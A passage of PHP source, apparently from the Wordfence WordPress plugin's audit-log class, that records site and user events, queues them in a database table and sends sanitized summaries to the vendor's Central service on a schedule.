$key = 'wordfenceAuditEvent:' . $event . ':' . $payloadSignature;
set_transient($key, time(), $ttl);
}
/**
* Returns whether or not the rate limiter is available. The return value is `true` if it is, otherwise `false`.
*
* @param string $event
* @param string $payloadSignature
* @return bool
*/
protected static function _rateLimiterCheck($event, $payloadSignature) {
$key = 'wordfenceAuditEvent:' . $event . ':' . $payloadSignature;
return !get_transient($key);
}
/**
* Recursively computes a hash for the given payload in a deterministic way. This may be used in rate limiter
* implementations for deduplication checks.
*
* @param mixed $payload
* @param null|HashContext $hasher
* @return bool|string
*/
protected static function _normalizedPayloadHash($payload, $hasher = null) {
$first = is_null($hasher);
if ($first) {
$hasher = hash_init('sha256');
}
if (is_array($payload) || is_object($payload)) {
$payload = (array) $payload;
$keys = array_keys($payload);
sort($keys, SORT_REGULAR);
foreach ($keys as $k) {
$v = $payload[$k];
hash_update($hasher, $k);
self::_normalizedPayloadHash($v, $hasher);
}
}
else if (is_scalar($payload)) {
hash_update($hasher, $payload);
}
if ($first) {
return hash_final($hasher);
}
return true;
}
/**
* Returns an array of all observer groupings.
*
* @return array
*/
private static function _observers() {
return array(
wfAuditLogObserversWordPressCoreUser::class,
wfAuditLogObserversWordPressCoreSite::class,
wfAuditLogObserversWordPressCoreMultisite::class,
wfAuditLogObserversWordPressCoreContent::class,
wfAuditLogObserversWordfence::class,
);
}
/**
* Registers the observers for this class's chunk of functionality that should run regardless of other settings.
* These observers are expected to do their own check and application of settings like the audit log's mode or
* the `Participate in the Wordfence Security Network` setting.
*
* @param wfAuditLog $auditLog
*/
protected static function _registerForcedObservers($auditLog) {
//Individual forced observer groupings may override this
}
/**
* Registers the observers for this class's chunk of functionality.
*
* @param wfAuditLog $auditLog
*/
protected static function _registerObservers($auditLog) {
//Individual observer groupings will override this
}
/**
* Registers the data gatherers for this class's chunk of functionality. These are secondary hooks to support
* intermediate data gathering (e.g., grabbing the user attempting to authenticate even if it fails)
*
* @param wfAuditLog $auditLog
*/
protected static function _registerDataGatherers($auditLog) {
//Individual data gatherer groupings will override this
}
/**
* Registers the coalescers for this class's chunk of functionality.
*
* @param wfAuditLog $auditLog
*/
protected static function _registerCoalescers($auditLog) {
//Individual coalescer groupings will override this
}
public static function heartbeat() {
if (wfAuditLog::shared()->mode() != wfAuditLog::AUDIT_LOG_MODE_DISABLED && wfAuditLog::shared()->mode() != wfAuditLog::AUDIT_LOG_MODE_PREVIEW) {
wfAuditLog::shared()->_recordAction(self::AUDIT_LOG_HEARTBEAT);
}
}
/**
* Returns the effective audit log mode after factoring in the active license type and resolving the default based
* on that type. Will be one of the wfAuditLog::AUDIT_LOG_MODE_* constants that is not AUDIT_LOG_MODE_DEFAULT.
*
* @return string
*/
public function mode() {
require(__DIR__ . '/wfVersionSupport.php'); /** @var $wfFeatureWPVersionAuditLog */
require(ABSPATH . WPINC . '/version.php'); /** @var string $wp_version */
if (version_compare($wp_version, $wfFeatureWPVersionAuditLog, '<')) {
return self::AUDIT_LOG_MODE_DISABLED;
}
$mode = wfConfig::get('auditLogMode', self::AUDIT_LOG_MODE_DEFAULT);
$license = wfLicense::current();
if (!$license->isPaidAndCurrent() || !$license->isAtLeastPremium()) {
if ($mode == self::AUDIT_LOG_MODE_DISABLED) {
return $mode;
}
return self::AUDIT_LOG_MODE_PREVIEW;
}
if ($mode == self::AUDIT_LOG_MODE_DEFAULT) {
if (!$license->isAtLeastCare()) {
return self::AUDIT_LOG_MODE_PREVIEW;
}
return self::AUDIT_LOG_MODE_SIGNIFICANT;
}
return $mode;
}
public function registerHooks() {
self::$initialMode = $this->mode();
require(ABSPATH . WPINC . '/version.php'); /** @var string $wp_version */
self::$initialCoreVersion = $wp_version;
$observers = self::_observers();
foreach ($observers as $o) {
call_user_func(array($o, '_registerForcedObservers'), $this);
}
if ($this->mode() == self::AUDIT_LOG_MODE_DISABLED) {
return;
}
if ($this->mode() == self::AUDIT_LOG_MODE_PREVIEW) { //When in preview mode, we register the local-only observers to keep the preview data fresh locally
wfAuditLogObserversPreview::_registerObservers($this);
wfAuditLogObserversPreview::_registerDataGatherers($this);
wfAuditLogObserversPreview::_registerCoalescers($this);
return;
}
foreach ($observers as $o) {
call_user_func(array($o, '_registerObservers'), $this);
call_user_func(array($o, '_registerDataGatherers'), $this);
call_user_func(array($o, '_registerCoalescers'), $this);
}
}
/**
* Convenience method to add a listener for one or more WordPress hooks. This simplifies the normal flow of adding
* a listener by using introspection on the passed callable to pass the correct arguments.
*
* @param array|string $hooks
* @param callable $closure
* @param string $type
*/
protected function _addObserver($hooks, $closure, $type = 'action') {
if (!is_array($hooks)) {
$hooks = array($hooks);
}
try {
$introspection = new ReflectionFunction($closure);
if ($type == 'action') {
foreach ($hooks as $hook) {
add_action($hook, $closure, 1, $introspection->getNumberOfParameters());
}
}
else if ($type == 'filter') {
foreach ($hooks as $hook) {
add_filter($hook, $closure, 1, $introspection->getNumberOfParameters());
}
}
}
catch (Exception $e) {
//Ignore
}
}
protected function _addCoalescer($closure) {
$this->_coalescers[] = $closure;
}
/**
* Returns whether or not a state value exists for the given key/blog pair.
*
* @param string $key
* @param int $id An ID when tracking multiple potential states. May be the blog ID if multisite or a user ID.
* @return bool
*/
protected function _hasState($key, $id = 1) {
if ($id < 0) {
$id = 0;
}
if (!isset($this->_state[$id])) {
return false;
}
return isset($this->_state[$id][$key]);
}
/**
* Stores a state value under the key/blog pair for later use in this request.
*
* @param string $key
* @param mixed $value
* @param int $id An ID when tracking multiple potential states. May be the blog ID if multisite or a user ID.
*/
protected function _trackState($key, $value, $id = 1) {
if ($id < 0) {
$id = 0;
}
if (!isset($this->_state[$id])) {
$this->_state[$id] = array();
}
$this->_state[$id][$key] = $value;
}
/**
* Returns the state value for the key/blog pair if present, otherwise null.
*
* @param string $key
* @param int $id An ID when tracking multiple potential states. May be the blog ID if multisite or a user ID.
* @return mixed|null
*/
protected function _getState($key, $id = 1) {
if ($id < 0) {
$id = 0;
}
if (!isset($this->_state[$id]) || !isset($this->_state[$id][$key])) {
return null;
}
return $this->_state[$id][$key];
}
/**
* Returns all site(s)' state values for $key if present. They keys in the returned array are the blog ID.
*
* @param string $key
* @return array Will have at most 1 entry for single-site, potentially many for multisite when applicable.
*/
protected function _getAllStates($key) {
$result = array();
foreach ($this->_state as $id => $state) {
if (isset($state[$key])) {
$result[$id] = $state[$key];
}
}
return $result;
}
/**
* Record the action and metadata for later sending to the audit log.
*
* @param string $action
* @param array $metadata
* @param bool $appendToExisting When true, does not create a new entry and instead only appends to entries of the same $action
*/
protected function _recordAction($action, $metadata = array(), $appendToExisting = false) {
$rateLimiters = self::eventRateLimiters();
if (isset($rateLimiters[$action])) {
if (!$rateLimiters[$action]($this, $metadata)) {
return;
}
}
if ($appendToExisting) {
foreach ($this->_pending as &$entry) {
if ($entry['action'] == $action) {
$entry['metadata'] = array_merge($entry['metadata'], $metadata);
}
}
return;
}
$path = null;
$body = null;
if (@php_sapi_name() === 'cli' || !array_key_exists('REQUEST_METHOD', $_SERVER)) {
if (isset($_SERVER['argv']) && is_array($_SERVER['argv']) && count($_SERVER['argv']) > 0) {
$path = $_SERVER['argv'][0] . ' ' . implode(' ', array_map(function($p) { return '\'' . addcslashes($p, '\'') . '\''; }, array_slice($_SERVER['argv'], 1)));
$body = array('type' => 'cli', 'files' => array(), 'parameters' => array('argv' => $_SERVER['argv']));
}
$method = 'CLI';
}
else {
$path = $_SERVER['REQUEST_URI'];
$method = $_SERVER['REQUEST_METHOD'];
if ($_SERVER['REQUEST_METHOD'] != 'GET') {
$body = $this->_sanitizeRequestBody();
}
}
$user = wp_get_current_user();
$entry = array(
'action' => $action,
'time' => wfUtils::normalizedTime(),
'metadata' => $metadata,
'context' => array(
'ip' => wfUtils::getIP(),
'path' => $path,
'method' => $method,
'body' => $body,
'user_id' => $user ? $user->ID : 0,
'userdata' => $this->_sanitizeUserdata($user),
),
);
if (is_multisite()) {
$network = get_network();
$blog = get_blog_details();
$entry['multisite'] = $this->_sanitizeMultisiteData($network, $blog);
}
$this->_pending[] = $entry;
$this->_needsDestruct();
}
/**
* Finalizes the pending actions. If cron is disabled or one of the types is on the immedate send list, they are
* finalized by immediately sending to the audit log. Otherwise, they are saved to the intermediate storage table
* and a send is scheduled.
*/
private function _savePending() {
if (!empty($this->_pending)) {
$sendImmediately = false;
$immediateSend = self::immediateSendEvents();
$payload = array();
foreach ($this->_pending as $data) {
$time = $data['time'];
unset($data['time']);
if ($data['action'] == self::AUDIT_LOG_HEARTBEAT) { //Minimize payload for heartbeat
$payload[] = array(
'type' => $data['action'],
'data' => array(),
'event_time' => $time,
);
}
else {
$payload[] = array(
'type' => $data['action'],
'data' => $data,
'event_time' => $time,
);
}
$sendImmediately = ($sendImmediately || in_array($data['action'], $immediateSend));
}
if (defined('DISABLE_WP_CRON') && DISABLE_WP_CRON) {
$sendImmediately = true;
}
if ($sendImmediately && !wfCentral::isConnected()) {
$this->_saveEventsToTable($payload);
if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) {
$this->_unscheduleSendPendingAuditEvents($ts);
}
$this->_scheduleSendPendingAuditEvents();
$this->_pending = array();
return;
}
$before = $payload;
if ($sendImmediately) {
$requestID = wfConfig::atomicInc('auditLogRequestNumber');
foreach ($payload as &$p) {
$p['data'] = json_encode($p['data']);
$p['request_id'] = $requestID;
}
}
try {
if ($this->_sendAuditLogEvents($payload, $sendImmediately)) {
$this->_pending = array();
}
}
catch (wfAuditLogSendFailedException $e) {
if ($sendImmediately) {
$this->_saveEventsToTable($before);
if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) {
$this->_unscheduleSendPendingAuditEvents($ts);
}
$this->_scheduleSendPendingAuditEvents(true);
$this->_pending = array();
}
}
}
}
protected function _needsDestruct() {
if (!$this->_destructRegistered) {
register_shutdown_function(array($this, '_lastAction'));
$this->_destructRegistered = true;
}
}
/**
* Performed as a shutdown handler to finalize all pending actions.
*
* Note: must remain `public` for PHP 7 compatibility
*/
public function _lastAction() {
global $wpdb;
$suppressed = $wpdb->suppress_errors(!(defined('WFWAF_DEBUG') && WFWAF_DEBUG));
$this->_performingFinalization = true;
foreach ($this->_coalescers as $c) {
call_user_func($c);
}
$this->_coalescers = array();
$this->_savePending();
$this->_performingFinalization = false;
$wpdb->suppress_errors($suppressed);
}
public function isFinalizing() {
return $this->_performingFinalization;
}
/**
* Performs the actual send of $events to the audit log if $sendImmediately is truthy, otherwise it writes them to
* the intermediate storage table and schedules a send.
*
* @param array $events
* @param bool $sendImmediately
* @return bool
* @throws wfAuditLogSendFailedException
*/
private function _sendAuditLogEvents($events, $sendImmediately = false) {
if (empty($events)) {
return true;
}
if (!wfCentral::isConnected()) {
return false; //This will cause it to mark them as unsent and try again later
}
if ($sendImmediately) {
$payload = array();
foreach ($events as $e) {
$payload[] = self::_formatEventForTransmission($e);
}
$siteID = wfConfig::get('wordfenceCentralSiteID');
$request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/audit-log', 'POST', array(
'data' => $payload,
));
try {
$doing_cron = function_exists('wp_doing_cron') /* WP >= 4.8 */ ? wp_doing_cron() : (defined('DOING_CRON') && DOING_CRON);
$response = $request->execute($doing_cron ? 10 : 3);
if ($response->isError()) {
throw new wfAuditLogSendFailedException();
}
//Group by request and update the local preview
$preview = array();
foreach ($payload as $r) {
if (!isset($preview[$r['attributes']['request_id']])) {
$preview[$r['attributes']['request_id']] = array();
}
$preview[$r['attributes']['request_id']][] = array($r['attributes']['type'], $r['attributes']['event_time']);
}
uksort($preview, function($k1, $k2) {
if ($k1 == $k2) { return 0; }
return ($k1 < $k2) ? 1 : -1;
});
$this->_updateAuditPreview(array_values($preview));
}
catch (Exception $e) {
if (!defined('WORDFENCE_DEACTIVATING') || !WORDFENCE_DEACTIVATING) { wfCentralAPIRequest::handleInternalCentralAPIError($e); }
throw new wfAuditLogSendFailedException();
}
catch (Throwable $t) {
if (!defined('WORDFENCE_DEACTIVATING') || !WORDFENCE_DEACTIVATING) { wfCentralAPIRequest::handleInternalCentralAPIError($t); }
throw new wfAuditLogSendFailedException();
}
}
else {
$this->_saveEventsToTable($events, $sendImmediately);
if (($ts = $this->_isScheduledAuditEventCronOverdue()) || $sendImmediately) {
if ($ts) {
$this->_unscheduleSendPendingAuditEvents($ts);
}
self::sendPendingAuditEvents();
}
else {
$this->_scheduleSendPendingAuditEvents();
}
}
return true;
}
private function _saveEventsToTable($events, &$sendImmediately = false) {
$requestID = wfConfig::atomicInc('auditLogRequestNumber');
$wfdb = new wfDB();
$table_wfAuditEvents = wfDB::networkTable('wfAuditEvents');
$query = "INSERT INTO {$table_wfAuditEvents} (`type`, `data`, `event_time`, `request_id`, `state`, `state_timestamp`) VALUES ";
$query .= implode(', ', array_fill(0, count($events), "('%s', '%s', %f, %d, 'new', NOW())"));
$immediateSendTypes = self::immediateSendEvents();
$args = array();
foreach ($events as $e) {
$sendImmediately = $sendImmediately || in_array($e['type'], $immediateSendTypes);
$args[] = $e['type'];
$args[] = json_encode($e['data']);
$args[] = $e['event_time'];
$args[] = $requestID;
}
$wfdb->queryWriteArray($query, $args);
}
/**
* Sends any pending audit events up to the limit (default 100). The list will automatically expand if needed to include
* only complete requests so that no partial requests are sent.
*
* If the events fail to send or there are more remaining, another future send will be scheduled if $scheduleFollowup is truthy.
*
* @param int $limit
* @param bool $scheduleFollowup Whether or not to schedule a followup send if there are more events pending, if false also unschedules any pending cron
*/
public static function sendPendingAuditEvents($limit = 100, $scheduleFollowup = true) {
$wfdb = new wfDB();
$table_wfAuditEvents = wfDB::networkTable('wfAuditEvents');
$limit = intval($limit);
$rawEvents = $wfdb->querySelect("SELECT * FROM {$table_wfAuditEvents} WHERE `state` = 'new' ORDER BY `id` ASC LIMIT {$limit}");
if (empty($rawEvents)) {
return;
}
//Grab the entirety of the last request ID, even if it's beyond the 100 item limit
$last = wfUtils::array_last($rawEvents);
$extendedID = (int) $last['id'];
$extendedRequestID = (int) $last['request_id'];
$extendedEvents = $wfdb->querySelect("SELECT * FROM {$table_wfAuditEvents} WHERE `state` = 'new' AND `id` > {$extendedID} AND `request_id` = {$extendedRequestID} ORDER BY `id` ASC");
$rawEvents = array_merge($rawEvents, $extendedEvents);
//Process for submission
$ids = array();
foreach ($rawEvents as $r) {
$ids[] = intval($r['id']);
}
$idParam = '(' . implode(', ', $ids) . ')';
$wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'sending', `state_timestamp` = NOW() WHERE `id` IN {$idParam}");
try {
if (self::shared()->_sendAuditLogEvents($rawEvents, true)) {
$wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'sent', `state_timestamp` = NOW() WHERE `id` IN {$idParam}");
if ($scheduleFollowup) {
self::checkForUnsentAuditEvents();
}
}
else {
$wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `id` IN {$idParam}");
if ($scheduleFollowup) {
self::shared()->_scheduleSendPendingAuditEvents();
}
}
if (!$scheduleFollowup) {
if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) {
self::shared()->_unscheduleSendPendingAuditEvents($ts);
}
}
}
catch (wfAuditLogSendFailedException $e) {
$wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `id` IN {$idParam}");
if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) {
self::shared()->_unscheduleSendPendingAuditEvents($ts);
}
if (!defined('WORDFENCE_DEACTIVATING') || !WORDFENCE_DEACTIVATING) {
self::shared()->_scheduleSendPendingAuditEvents(true);
}
}
}
/**
* Formats the event record for transmission to Central for recording.
*
* @param array $rawEvent
* @return array
*/
private static function _formatEventForTransmission($rawEvent) {
if ($rawEvent['type'] == self::AUDIT_LOG_HEARTBEAT) { //Minimize payload for heartbeat
return array(
'type' => 'audit-event',
'attributes' => array(
'type' => $rawEvent['type'],
'event_time' => (int) $rawEvent['event_time'],
'request_id' => (int) $rawEvent['request_id'],
)
);
}
$data = json_decode($rawEvent['data'], true);
if (empty($data)) { $data = array(); }
unset($data['action']);
$username = null; if (!empty($data['context']['userdata']) && isset($data['context']['userdata']['user_login'])) { $username = $data['context']['userdata']['user_login']; }
$ip = null; if (!empty($data['context']['ip'])) { $ip = $data['context']['ip']; unset($data['context']['ip']); }
$path = null; if (!empty($data['context']['path'])) { $path = $data['context']['path']; unset($data['context']['path']); }
$method = null; if (!empty($data['context']['method'])) { $method = $data['context']['method']; unset($data['context']['method']); }
$body = null; if (!empty($data['context']['body'])) { $body = $data['context']['body']; unset($data['context']['body']); }
return array(
'type' => 'audit-event',
'attributes' => array(
'type' => $rawEvent['type'],
'username' => $username,
'ip_address' => $ip,
'method' => $method,
'path' => $path,
'request_body' => $body,
'data' => $data,
'event_time' => (int) $rawEvent['event_time'],
'request_id' => (int) $rawEvent['request_id'],
)
);
}
/**
* Schedules a cron for sending pending audit events.
*/
private function _scheduleSendPendingAuditEvents($forceDelay = false) {
if ((self::$initialMode == self::AUDIT_LOG_MODE_DISABLED || self::$initialMode == self::AUDIT_LOG_MODE_PREVIEW) && ($this->mode() == self::AUDIT_LOG_MODE_DISABLED || $this->mode() == self::AUDIT_LOG_MODE_PREVIEW)) {
return; //Do not schedule cron if mode is disabled/preview and was not recently put into that state
}
$delay = 60;
if ($forceDelay || !wfCentral::isConnected()) {
$delay = 3600;
}
if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); }
$notMainSite = is_multisite() && !is_main_site();
if ($notMainSite) {
global $current_site;
switch_to_blog($current_site->blog_id);
}
if (!wp_next_scheduled('wordfence_batchSendAuditEvents')) {
wp_schedule_single_event(time() + $delay, 'wordfence_batchSendAuditEvents');
}
if ($notMainSite) {
restore_current_blog();
}
}
/**
* @param int $timestamp
*/
private function _unscheduleSendPendingAuditEvents($timestamp) {
if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); }
$notMainSite = is_multisite() && !is_main_site();
if ($notMainSite) {
global $current_site;
switch_to_blog($current_site->blog_id);
}
if ($timestamp) {
wp_unschedule_event($timestamp, 'wordfence_batchSendAuditEvents');
}
if ($notMainSite) {
restore_current_blog();
}
}
private function _isScheduledAuditEventCronOverdue() {
if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); }
$notMainSite = is_multisite() && !is_main_site();
if ($notMainSite) {
global $current_site;
switch_to_blog($current_site->blog_id);
}
$overdue = false;
if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) {
if ((time() - $ts) > 900) {
$overdue = $ts;
}
}
if ($notMainSite) {
restore_current_blog();
}
return $overdue;
}
public static function checkForUnsentAuditEvents() {
$wfdb = new wfDB();
$table_wfAuditEvents = wfDB::networkTable('wfAuditEvents');
$wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `state` = 'sending' AND `state_timestamp` < DATE_SUB(NOW(), INTERVAL 30 MINUTE)");
$count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfAuditEvents} WHERE `state` = 'new'");
if ($count) {
self::shared()->_scheduleSendPendingAuditEvents();
}
}
public static function trimAuditEvents() {
$wfdb = new wfDB();
$table_wfAuditEvents = wfDB::networkTable('wfAuditEvents');
$count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfAuditEvents}");
if ($count > 1000) {
$wfdb->truncate($table_wfAuditEvents); //Similar behavior to other logged data, assume possible DoS so truncate
}
else if ($count > 100) {
$wfdb->queryWrite("DELETE FROM {$table_wfAuditEvents} ORDER BY id ASC LIMIT %d", $count - 100);
}
else if ($count > 0) {
$wfdb->queryWrite("DELETE FROM {$table_wfAuditEvents} WHERE (`state` = 'sending' OR `state` = 'sent') AND `state_timestamp` < DATE_SUB(NOW(), INTERVAL 1 DAY)");
}
}
public static function hasOverdueEvents() {
$wfdb = new wfDB();
$table_wfAuditEvents = wfDB::networkTable('wfAuditEvents');
$count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfAuditEvents} WHERE `state` = 'new' AND `state_timestamp` < DATE_SUB(NOW(), INTERVAL 2 DAY)");
return $count > 0;
}
/**
* Updates the locally-stored audit preview data that is used to populate the audit log page. The preview data is
* stored in descending order.
*
* @param array $events Structure is [
* [ //Request 1
* [<event type>, <timestamp>],
* [<event type>, <timestamp>],
* [<event type>, <timestamp>],
* ],
* [ //Request 2
* [<event type>, <timestamp>],
* ],
* ...
* ]
*/
protected function _updateAuditPreview($events) {
$filtered = array();
foreach ($events as $request) {
$request = array_filter($request, function($e) {
return $e[0] != self::AUDIT_LOG_HEARTBEAT; //Don't save heartbeats to the local preview
});
if (!empty($request)) {
$filtered[] = $request;
}
}
$events = $filtered;
if (empty($events)) { return; }
$existing = wfConfig::get_ser('lastAuditEvents', array());
if (!is_array($existing)) {
$existing = array();
}
$lastAuditEvents = array_merge($events, $existing);
usort($lastAuditEvents, function($a, $b) {
$aMax = array_reduce($a, function($carry, $item) {
return max($carry, $item[1]);
}, 0);
$bMax = array_reduce($b, function($carry, $item) {
return max($carry, $item[1]);
}, 0);
if ($aMax == $bMax) { return 0; }
return ($aMax < $bMax) ? 1 : -1;
});
$lastAuditEvents = array_slice($lastAuditEvents, 0, self::AUDIT_LOG_MAX_SAMPLES);
wfConfig::set_ser('lastAuditEvents', $lastAuditEvents);
}
/**
* Returns a summary array of recent events for the audit log. The content of this array will be the most recent
* `AUDIT_LOG_MAX_SAMPLES` requests that were sent (or would have been sent if enabled) to Wordfence Central.
*
* @return array
*/
public function auditPreview() {
$requests = array_filter(wfConfig::get_ser('lastAuditEvents', array()), function($events) {
return !empty($events);
});
$data = array();
if (is_array($requests)) {
$data['requests'] = array();
foreach ($requests as $r) {
$events = array_map(function($e) {
return array(
'ts' => $e[1],
'event' => $e[0],
'name' => self::eventName($e[0]),
'category' => self::eventCategory($e[0]),
);
}, $r);
$types = array_reduce($events, function($carry, $e) { //We'll use the most common category if a request covers multiple
if (!isset($carry[$e['category']])) {
$carry[$e['category']] = 0;
}
$carry[$e['category']]++;
return $carry;
}, array());
asort($types, SORT_NUMERIC);
$timestamp = array_reduce($events, function($carry, $e) {
if ($e['ts'] > $carry) {
return $e['ts'];
}
return $carry;
}, 0);
$data['requests'][] = array(
'ts' => $timestamp,
'category' => array_keys($types),
'events' => $events,
);
}
}
return $data;
}
/**************************************
* Utility Functions
**************************************/
private function _sanitizeRequestBody() {
$input = wfUtils::rawPOSTBody();
$contentType = null;
if (isset($_SERVER['CONTENT_TYPE'])) {
$contentType = strtolower($_SERVER['CONTENT_TYPE']);
$boundary = strpos($contentType, ';');
if ($boundary !== false) {
$contentType = substr($contentType, 0, $boundary);
}
}
$raw = null;
$response = array('type' => null, 'parameters' => array(), 'files' => array());
switch ($contentType) {
case 'application/json':
try {
$raw = json_decode($input, true, 512, JSON_OBJECT_AS_ARRAY);
$response['type'] = 'json';
}
catch (Exception $e) {
//Ignore -- can throw on PHP 8+
}
break;
case 'multipart/form-data': //PHP has already parsed this into $_POST and $_FILES
$response['type'] = 'multipart';
foreach ($_FILES as $k => $f) {
$response['files'][] = array(
'name' => $f['name'],
'type' => $f['type'],
'size' => $f['size'],
'error' => $f['error'],
);
}
$raw = $_POST;
break;
default: //Typically application/x-www-form-urlencoded
if ($input) {
parse_str($input, $raw);
$response['type'] = 'urlencoded';
}
break;
}
if (!empty($raw)) {
foreach ($raw as $k => $v) {
$response['parameters'][$k] = null;
if ($k == 'action' || //Used in admin-ajax and many other WP calls, typically relevant for auditing and not sensitive
$k == 'id' || //Typically the record ID being affected
$k == 'log' //Authentication username
) {
$response['parameters'][$k] = $v;
}
// else if -- future full value captures go here, otherwise we just capture the parameter name for privacy reasons
}
return $response;
}
return null;
}
/**
* Returns the desired fields from $userdata for the various user-related hooks, ignoring the rest. Returns null if
* there is no valid user.
*
* @param array|object|WP_User $userdata
* @param null|int $user_id Used when provided, otherwise extracted from $userdata when possible
* @return array|null
*/
protected function _sanitizeUserdata($userdata, $user_id = null) {
if ($userdata === null && $user_id !== null) { //May hit this on older WP versions where $userdata wasn't populated by the hook call
$userdata = get_user_by('ID', $user_id);
}
$roles = array();
if ($userdata instanceof stdClass) {
$user = new WP_User($user_id !== null ? $user_id : (isset($userdata->ID) ? $userdata->ID : 0));
if ($user->exists()) {
$roles = $user->roles;
}
$userdata = get_object_vars( $userdata );
}
else if ($userdata instanceof WP_User) {
$roles = $userdata->roles;
$userdata = $userdata->to_array();
}
else {
$user = new WP_User($user_id !== null ? $user_id : (isset($userdata['ID']) ? $userdata['ID'] : 0));
if (!$user) {
return array(
'user_id' => 0,
'user_login' => '',
'user_roles' => array(),
);
}
if ($user->exists()) {
$roles = $user->roles;
}
}
return array(
'user_id' => $user_id !== null ? $user_id : (isset($userdata['ID']) ? $userdata['ID'] : 0),
'user_login' => isset($userdata['user_login']) ? $userdata['user_login'] : '',
'user_roles' => $roles,
);
}
protected function _userdataDiff($userdata1, $userdata2) {
if ($userdata1 instanceof stdClass) {
$userdata1 = get_object_vars( $userdata1 );
}
else if ($userdata1 instanceof WP_User) {
$userdata1 = $userdata1->to_array();
}
if ($userdata2 instanceof stdClass) {
$userdata2 = get_object_vars( $userdata2 );
}
else if ($userdata2 instanceof WP_User) {
$userdata2 = $userdata2->to_array();
}
return wfUtils::array_diff_assoc($userdata1, $userdata2);
}
/**
* Returns the desired fields for the multisite ignoring the rest.
*
* @param WP_Network|false $network
* @param WP_Site|false $blog
* @return array
*/
protected function _sanitizeMultisiteData($network, $blog) {
$result = array();
if ($network) {
$result['network_id'] = $network->id;
$result['network_domain'] = $network->domain;
$result['network_path'] = $network->path;
$result['network_name'] = $network->site_name;
}
if ($blog) {
$result['blog_id'] = $blog->blog_id;
$result['blog_domain'] = $blog->domain;
$result['blog_path'] = $blog->path;
$result['blog_name'] = $blog->blogname;
}
return $result;
}
protected function _multisiteDiff($blog1, $blog2) {
if ($blog1 instanceof WP_Site) {
$blog1 = $this->_sanitizeMultisiteData(false, $blog1);
}
if ($blog2 instanceof WP_Site) {
$blog2 = $this->_sanitizeMultisiteData(false, $blog2);
}
return wfUtils::array_diff_assoc($blog1, $blog2);
}
/**
* Returns the desired fields from an app password record.
*
* @param array|object $item
* @return array
*/
protected function _sanitizeAppPassword($item) {
if ($item instanceof stdClass) {
$item = get_object_vars($item);
}
return array(
'uuid' => empty($item['uuid']) ? '<unknown>' : $item['uuid'],
'app_id' => empty($item['app_id']) ? '<unknown>' : $item['app_id'],
'name' => empty($item['name']) ? '<empty>' : $item['name'],
'created' => empty($item['created']) ? 0 : $item['created'],
'last_used' => empty($item['last_used']) ? null : $item['last_used'],
'last_ip' => empty($item['last_ip']) ? null : $item['last_ip'],
);
}
/**
* Returns the desired fields from a post record.
*
* @param array|object|WP_Post $post
* @return array
*/
protected function _sanitizePost($post) {
if ($post instanceof stdClass) {
$post = get_object_vars($post);
}
else if ($post instanceof WP_Post) {
$post = $post->to_array();
}
$author = isset($post['post_author']) ? get_user_by('ID', $post['post_author']) : null;
$created = null;
if (isset($post['post_date_gmt']) && $post['post_date_gmt'] != '0000-00-00 00:00:00') { //Prefer *_gmt, but sometimes WP doesn't set that
$created = strtotime($post['post_date_gmt']);
}
else if (isset($post['post_date'])) {
$created = strtotime($post['post_date']);
}
$modified = null;
if (isset($post['post_modified_gmt']) && $post['post_modified_gmt'] != '0000-00-00 00:00:00') { //Prefer *_gmt, but sometimes WP doesn't set that
$modified = strtotime($post['post_modified_gmt']);
}
else if (isset($post['post_modified'])) {
$modified = strtotime($post['post_modified']);
}
$sanitized = array(
'post_id' => $post['ID'],
'author_id' => isset($post['post_author']) ? $post['post_author'] : null,
'author' => $author ? $this->_sanitizeUserdata($author) : null,
'title' => isset($post['post_title']) ? $post['post_title'] : null,
'created' => $created,
'last_modified' => $modified,
'type' => isset($post['post_type']) ? $post['post_type'] : 'post',
'status' => isset($post['post_status']) ? $post['post_status'] : 'publish',
);
if (isset($post['post_type']) && $post['post_type'] == wfAuditLogObserversWordPressCoreContent::WP_POST_TYPE_ATTACHMENT) {
$sanitized['context'] = get_post_meta($post['ID'], '_wp_attachment_context', true);
}
return $sanitized;
}
protected function _postDiff($post1, $post2) {
if ($post1 instanceof stdClass) {
$post1 = get_object_vars($post1);
}
else if ($post1 instanceof WP_Post) {
$post1 = $post1->to_array();
}
if ($post2 instanceof stdClass) {
$post2 = get_object_vars($post2);
}
else if ($post2 instanceof WP_Post) {
$post2 = $post2->to_array();
}
return wfUtils::array_diff_assoc($post1, $post2);
}
/**
* Returns whether or not the array of post changes should trigger an event recording. It will return false when
* there are no changes or when the only changes are innocuous values like post dates.
*
* @param $changes
* @return bool
*/
protected function _shouldRecordPostChanges($changes) {
if (empty($changes) || !is_array($changes)) {
return false;
}
$ignored = array('post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'menu_order');
$test = array_filter($changes, function($i) use ($ignored) {
return !in_array($i, $ignored);
});
return !empty($test);
}
protected function _extractMultisiteID($option, $suffix) {
global $wpdb;
if (!is_multisite()) {
return false;
}
if (substr($option, -1 * strlen($suffix)) == $suffix) {
$option = substr($option, 0, strlen($option) - strlen($suffix));
if (substr($option, 0, strlen($wpdb->base_prefix)) == $wpdb->base_prefix) {
$option = substr($option, strlen($wpdb->base_prefix));
$option = trim($option, '_');
if (empty($option)) {
return 1;
}
return intval($option);
}
}
return false;
}
/**
* Returns an array containing the installed versions at the time of calling for core and all themes/plugins.
*
* @return array
*/
protected function _installedVersions() {
$state = array();
require(ABSPATH . WPINC . '/version.php'); /** @var string $wp_version */
$state['core'] = $wp_version;
if (!function_exists('get_plugins')) {
